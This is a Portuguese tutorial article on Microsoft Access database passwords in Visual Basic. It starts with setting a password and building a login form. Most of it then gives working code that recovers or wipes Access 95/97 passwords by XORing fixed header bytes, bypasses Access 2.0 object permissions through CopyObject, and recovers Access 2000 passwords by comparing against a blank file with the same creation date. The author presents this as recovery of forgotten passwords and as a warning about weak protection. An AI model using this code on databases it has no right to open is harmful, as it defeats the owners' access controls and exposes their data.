Esqueceu a senha do Banco de dados ?? Fale as palavras mágicas... Socorro !!!


A partir da versão 3.0 do Jet Engine ( Access 95 ) , ao usar uma base de dados Access, podemos utilizar o recurso de atribuir uma senha ao banco de dados. A senha pode ser atribuida usando o Microsoft Access ou via código no seu projeto. Esta atribuição pode ser feita por qualquer usuário com direitos de administrador do sistema.

Ao usar o Microsoft Access para atribuir uma senha ao banco de dados faça o seguinte:

Fig 1.0 - Menu para atribuir senha a um banco de dados Access Fig 2.0 - Janela solicitando a senha

O código a seguir usa o método NewPassword para atribuir/alterar uma senha a um banco de dados Access :

Set db = area.OpenDatabase(App.Path & "\teste.mdb", True, False, ";PWD=" & senha_antiga)
'aqui usamos o metodo newpassword para mudar a senha
db.NewPassword senha_antiga, senha_nova

Set db = area.OpenDatabase(App.Path & "\teste.mdb", False, False, ";PWD=" & password)
MsgBox "Senha Alterada com sucesso !!! "

Abaixo temos uma função que você pode usar para atribuir uma senha a um banco de dados Access:

Public Function SetDbSenha(DBPath As String, novaSenha As String) As Boolean

If Dir(DBPath) = "" Then Exit Function

Dim db As DAO.Database

On Error Resume Next

Set db = OpenDatabase(DBPath, True)

If Err.Number <> 0 Then Exit Function

db.newPassword "", novaSenha

SetDbSenha = Err.Number = 0

db.Close

End Function

A chamada a esta função pode ser feita como a seguir:

ret = SetDbSenha("c:\teste\db1.mdb", "teste")

Pronto ! agora basta você montar uma rotina para verificar a senha atribuida. Voce pode criar um formulário para fazer isto , seria um formulário de login . Algo parecido com a figura abaixo.

 
Formulário de Login : Nome e Senha .... Usuário Informando uma senha inválida

O código , que você pode e deve adaptar às suas necessidades , é o seguinte:

Dim area As Workspace
Dim db As Database
Dim username As String
Dim password As String
Option Explicit
Private Sub Command1_Click()
'atençao para proteger/desproteger seu mdb abra o arquivo no access
'com acesso exclusivo e em segurança ative/desative a senha
'a senha usada aqui é a palavra:  password (minúsculas)

On Error GoTo trata_erro

'indica aonde esta o arquivo de segurança
DBEngine.SystemDB = App.Path & "\system.mdw"

If Text1.Text = "" Then
    MsgBox "Informe nome do usuario"
    Text1.SetFocus
    Exit Sub
End If

'variáveis públicas
username = Text1.Text 'o nome do usuario existe apenas para voce controlar o login
password = Text2.Text 'senha do banco de dados

'abre area de trabalho padrao
Set area = DBEngine.Workspaces(0)
'Verifique a senha do banco de dados para proteger seus dados
Set db = area.OpenDatabase(App.Path & "\teste.mdb", False, False, ";PWD=" & password)
 
MsgBox "A senha esta correta , entre ... ", vbExclamation, "Login da base de dados"

Hide
Exit Sub

'tratamento de erros
trata_erro:
     If Err.Number = 3029 Or Err.Number = 3031 Then
       MsgBox "Senha/Usuario Inválido(s) !!!", , "ATENÇÃO"
       Text1.Text = ""
       Text2.Text = ""
     Else
       MsgBox Errors(0).Description, , "ATENÇÃO"
     End If
     Exit Sub
End Sub
Private Sub Command2_Click()
   End
End Sub

Gostou ? Simples , rápido e seguro. Bem , simples e rápido pode ser mas seguro não é. Sabe por que ? Por que podemos facilmente descobrir a senha de qualquer banco de dados access versão Jet 3.0/3.5. Embora no Help do VB a Microsoft afirme que : "Caution If you lose your password, you can never open the database again." Se você esqueceu a senha do seu banco de dados verá que pode facilmente recuperá-la.

Antes de mostrar como fazer o serviço eu gostaria de deixar bem claro que eu não incentivo ninguém a sair por ai usando os conhecimentos aqui adquiridos com o intuito de prejudicar ou angariar vantagens financeiras.O que eu vou mostrar está publicado na Web , e, eu apenas estou compartilhando uma informação que pode ajudar você , e , se você pensar da mesma forma , muita gente será beneficiada.

Descobrindo a senha de um banco de dados Access ( Jet 3.0/ 3.5 )

A primeira função que iremos mostrar é encontrada em http://www.trigeminal.com/codes.html#18 , foi criada por Michael Kaplan e é disponibilizada gratuitamente. O código da função é dado a seguir:

Option Compare Binary
Option Explicit

Public Function StPasswordOfStDatabase(stDatabase As String) As String
    Dim hFile As Integer
    Dim ich As Integer
    Dim stBuffer As String
    Dim rgbytRaw() As Byte
    Dim rgbytPassword() As Byte
    Dim rgbytNoPassword() As Byte
    
    ' Create the byte array with the 20 bytes that are present when there
    ' is no database password
    rgbytNoPassword = ChrB(134) & ChrB(251) & ChrB(236) & ChrB(55) & ChrB(93) & _
                                ChrB(68) & ChrB(156) & ChrB(250) & ChrB(198) & ChrB(94) & _
                                ChrB(40) & ChrB(230) & ChrB(19) & ChrB(182) & ChrB(138) & _
                                ChrB(96) & ChrB(84) & ChrB(148) & ChrB(123) & ChrB(54)
                                
    ' Grab the 20 bytes from the real file whose password
    ' we are supposed to retrieve
    hFile = FreeFile
    Open stDatabase For Binary As #hFile
    Seek #hFile, 66 + 1
    rgbytRaw = InputB(20, #hFile)
    Close #hFile
    
    ' Enough prep, lets get the password now.
    ReDim rgbytPassword(0 To 19)
    For ich = 0 To 19
        rgbytPassword(ich) = rgbytRaw(ich) Xor rgbytNoPassword(ich)
    Next ich

    ' Add a trailing Null so one will always be found, even if the password is 20
    ' characters. Then grab up to the first null we find and return the password
stBuffer = StrConv(rgbytPassword, vbUnicode) & vbNullChar
StPasswordOfStDatabase = Left$(stBuffer, InStr(1, stBuffer, vbNullChar, vbBinaryCompare) - 1)
End Function

Ela basicamente permite a você recuperar a 'senha esquecida' de um banco de dados Access na versão Jet 3.0/3.5. (É claro que você não vai ficar hackeando por ai...)

A outra função esta no site : http://members.xoom.com/shamil_s/topics/clracc8p.htm , com ela você pode limpar a senha esquecida do seu banco de dados , mesmo em um arquivo criptografado. O seu código é o seguinte:

Private Const cintAcc97PwdOffset As Integer = &H43

Public Sub smsAcc97PwdClear(ByVal vstrMdbPath As String)

    On Error GoTo smsAcc97PwdClear_Err
    
    Dim intFn As Integer
    Dim strClearPwd As String
    
    strClearPwd = Chr(&H86) & Chr(&HFB) & Chr(&HEC) & Chr(&H37) & _
                  Chr(&H5D) & Chr(&H44) & Chr(&H9C) & Chr(&HFA) & _
                  Chr(&HC6) & Chr(&H5E) & Chr(&H28) & Chr(&HE6) & _
                  Chr(&H13)  ' trailing baker's dozen ;-)
                  
    intFn = FreeFile
    Open vstrMdbPath For Binary Access Write As #intFn
    Put #intFn, cintAcc97PwdOffset, strClearPwd
    Close intFn

smsAcc97PwdClear_Exit:
    Exit Sub
smsAcc97PwdClear_Err:
    MsgBox "smsAcc97PwdClear: Err = " & Err & " - " & Err.Description
    Resume smsAcc97PwdClear_Exit
End Sub

O autor da função é :: Shamil Salakhetdinov.

Outra função que você pode usar para obter a senha de um banco de dados access 95/97 é dada abaixo:

Function AccessPassword(Byval Filename As String) As String

    Dim MaxSize, NextChar, MyChar, secretpos,TempPwd 
    Dim secret(13) 

    secret(0) = (&H86) 
    secret(1) = (&HFB) 
    secret(2) = (&HEC) 
    secret(3) = (&H37) 
    secret(4) = (&H5D) 
    secret(5) = (&H44) 
    secret(6) = (&H9C) 
    secret(7) = (&HFA) 
    secret(8) = (&HC6) 
    secret(9) = (&H5E) 
    secret(10) = (&H28) 
    secret(11) = (&HE6) 
    secret(12) = (&H13) 

    secretpos = 0 

    Open Filename For Input As #1 ' Abre o arquivo para escrita


    For NextChar = 67 To 79 Step 1 'Le a senha criptografada 
        Seek #1, NextChar ' define a posição
        MyChar = Input(1, #1) ' Lê o caractere. 
        TempPwd = TempPwd & Chr(Asc(MyChar) Xor secret(secretpos)) 'Faz a decriptação
        secretpos = secretpos + 1 'incrementa o ponteiro 
    Next NextChar 

    Close #1 ' fecha o arquivo. 
    AccessPassword = TempPwd

End Function

Esta função recebe o caminho e o nome do banco de dados e devolve a senha do arquivo. Abaixo um pequeno projeto onde demonstramos como usar a função ( precisava ? ).

O formulário do projeto O projeto em execução exibindo a senha de um arquivo

Funciona assim: Voce informa o caminho e o nome do arquivo de banco de dados access (só funciona no 95/97) e a seguir clica no botão que obterá a senha do banco de dados. É logico que o arquivo deve estar usando uma senha no banco de dados. (nao confunda com o sistema de contas).

Burlando a segurança do Access 2.0

A versão 2.0 do Access também tem um buraco no seu sistema de segurança. Se você usar o comando DoCmd CopyObject ele não verifica as permissões. Então basta você copiar o objeto protegido para outro arquivo mdb. A função que faz isto esta no site: http://www.accesshelp.net/survival/stupidvb.cfm#contents : Ei-la a seguir:

Sub RecoverDb ()
    On Error GoTo RecoverDb_err:
    DoCmd Hourglass True
    Const strFile = "recover.mdb"
    Dim intI as integer
    Dim strTemp
    Dim dbTemp as Database
    If Not Len(Dir(strFile)) = 0 Then
        Kill strFile
    End if
    Set dbTemp = DBEngine(0).CreateDatabase(strFile, DB_LANG_GENERAL)   
    Set dbTemp = DBEngine(0)(0)
    For intI = 0 To dbTemp.TableDefs.count - 1
        strTemp = dbTemp.TableDefs(intI).name
	'Don't copy system tables
        If not Mid(strTemp, 2, 3) = "Sys" Then DoCmd CopyObject strFile, strTemp, A_TABLE, strTemp
    Next intI
    For intI = 0 To dbTemp.QueryDefs.count - 1
        strTemp = dbTemp.QueryDefs(intI).name
        DoCmd CopyObject strFile, strTemp, A_QUERY, strTemp
    Next intI
    For intI = 0 To dbTemp.containers("Forms").documents.count - 1
        strTemp = dbTemp.containers("Forms").documents(intI).name
        DoCmd CopyObject strFile, strTemp, A_FORM, strTemp
    Next intI
    For intI = 0 To dbTemp.containers("Reports").documents.count - 1
        strTemp = dbTemp.containers("Reports").documents(intI).name
        DoCmd CopyObject strFile, strTemp, A_REPORT, strTemp
    Next intI
    For intI = 0 To dbTemp.containers("Scripts").documents.count - 1
        strTemp = dbTemp.containers("Scripts").documents(intI).name
        DoCmd CopyObject strFile, strTemp, A_MACRO, strTemp
    Next intI
    For intI = 0 To dbTemp.containers("Modules").documents.count - 1
        strTemp = dbTemp.containers("Modules").documents(intI).name
        DoCmd CopyObject strFile, strTemp, A_MODULE, strTemp
    Next intI
    DoCmd Hourglass False: Beep
    MsgBox "Database recovered to file " & strFile, 64
    Exit Sub
    RecoverDb_Err:
    Select Case Msgbox(Error, 50)
        Case 3 'Abort
             exit sub
        Case 4 'Retry
             Resume
        Case 5 'Ignore
             Resume Next
    End Select
End Sub

É isso aí. Pensou que o Access era inexpugnável !!!

O site www.crak.com disponibiliza programas que descobrem as senhas dos usuários de um banco de dados access.

Descobrindo a senha de uma base de dados Access 2000

Agora vamos mostrar como fazer a mesma coisa para uma base de dados Access 2000. Pensou que o Access 2000 seria inviolável. Pois não é. Só vai dar um pouco mais de trabalho por que você vai precisar criar um arquivo no Access 2000 com a mesma data de criação do arquivo que deseja descobrir a senha. 

Para descobrir a data de criação do arquivo mdb clique com o botão direito do mouse sobre o arquivo e veja a data de criação.  Bem , eu sei que muitas vezes a data que você vai ver não corresponde a data original de criação , se não der certo é por que a data de criação que você usou para criar o arquivo de suporte não é a original. Então vai ter que fazer por tentativas e erro... fazer o que .... (Se você souber outra maneira me avise , ok ! )

Vamos ao trabalho:

1-) Primeiro crie um banco de dados vazio ( sem tabelas , sem nada..) com a mesma data de criação do arquivo mdb que você perdeu a senha

2-) Inicie um  novo projeto no Visual Basic  e no formulário padrão insira um botão de comando - command1 - e uma caixa de texto - text1.text.

3-) A seguir inclua o seguinte código no evento Click do botão de comando:

Private Sub Command1_Click() 

Dim n As Long, s1 As String * 1, s2 As String * 1
Dim lsClave As String

Open "c:\laranja.mdb" For Binary As #1
Open text1.text For Binary As #2
Seek #1, &H43
Seek #2, &H43
For n = 1 To 40 Step 2
   s1 = Input(1, 1)
   s2 = Input(1, 2)
   If (Asc(s1) Xor Asc(s2)) <> 0 Then
       lsClave = lsClave & Chr(Asc(s1) Xor Asc(s2))
   End If
   s1 = Input(1, 1) 
   s2 = Input(1, 2) 
Next
Close 1
Close 2
MsgBox "A senha é...:" & lsClave

End Sub

Obs: Note que laranja.mdb é o nome que eu dei ao meu banco de dados vazio.

Execute o projeto e informe o caminho e nome do banco de dados com a senha perdida. Em menos de 2 segundos a senha estará a sua disposição.

Conclusão

Tudo o que foi exposto aqui tem o objetivo de mostrar que as vezes a sensação de segurança é falsa. Para evitar que o seu trabalho ou o trabalho de sua empresa sejam bisbilhotados adote procedimentos de segurança que dificultem realmente a ação de pessoas má intencionadas.

Terminei...